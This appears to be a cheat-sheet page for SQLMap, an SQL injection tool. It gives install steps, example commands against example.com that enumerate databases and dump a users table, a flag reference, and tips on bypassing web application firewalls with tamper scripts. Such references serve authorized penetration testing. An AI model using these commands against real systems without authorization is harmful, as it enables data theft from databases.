SQLMap

Automatic SQL injection detection and exploitation tool

Web Vulnerabilities11 commands

#sqli#database#exploitation#injection

Installation

1Clone from GitHub or use package manager

2Ensure Python 3 is installed

3Verify installation

# Using Git
git clone https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python3 sqlmap.py --version

# Kali Linux
apt install sqlmap

# macOS
brew install sqlmap

Basic Usage

Test and exploit SQL injection vulnerabilities

# Basic test
sqlmap -u "https://example.com/page?id=1"

# With POST data
sqlmap -u "https://example.com/login" --data="user=admin&pass=test"

# Database enumeration
sqlmap -u "https://example.com/page?id=1" --dbs

# Dump table
sqlmap -u "https://example.com/page?id=1" -D dbname -T users --dump

# With cookie
sqlmap -u "https://example.com/page?id=1" --cookie="session=abc123"

Command Reference

11 commands

1Target URL with parameter

-u

2POST data string

--data

3Enumerate databases

--dbs

4Specify database

-D

5Specify table

-T

6Dump table contents

--dump

7HTTP cookie header

--cookie

8Test level (1-5)

--level

9Risk level (1-3)

--risk

10Non-interactive mode

--batch

11Use tamper scripts

--tamper

When to Use

Testing for SQL injection

Exploiting confirmed SQLi

Database enumeration

Data extraction

Privilege escalation via SQLi

Notes & Tips

Always get authorization before testing

Start with low level/risk and increase

Use --tamper for WAF bypass

Check all injectable parameters

Common Errors & Solutions

Parameter not injectable

Try --level=5 --risk=3 or test manually first

WAF blocking requests

Use --tamper scripts like space2comment, randomcase

Connection timeouts

Increase --timeout or use --delay between requests

# Basic test sqlmap -u "https://example.com/page?id=1" # With POST data sqlmap -u "https://example.com/login" --data="user=admin&pass=test" # Database enumeration sqlmap -u "https://example.com/page?id=1" --dbs # Dump table sqlmap -u "https://example.com/page?id=1" -D dbname -T users --dump # With cookie sqlmap -u "https://example.com/page?id=1" --cookie="session=abc123"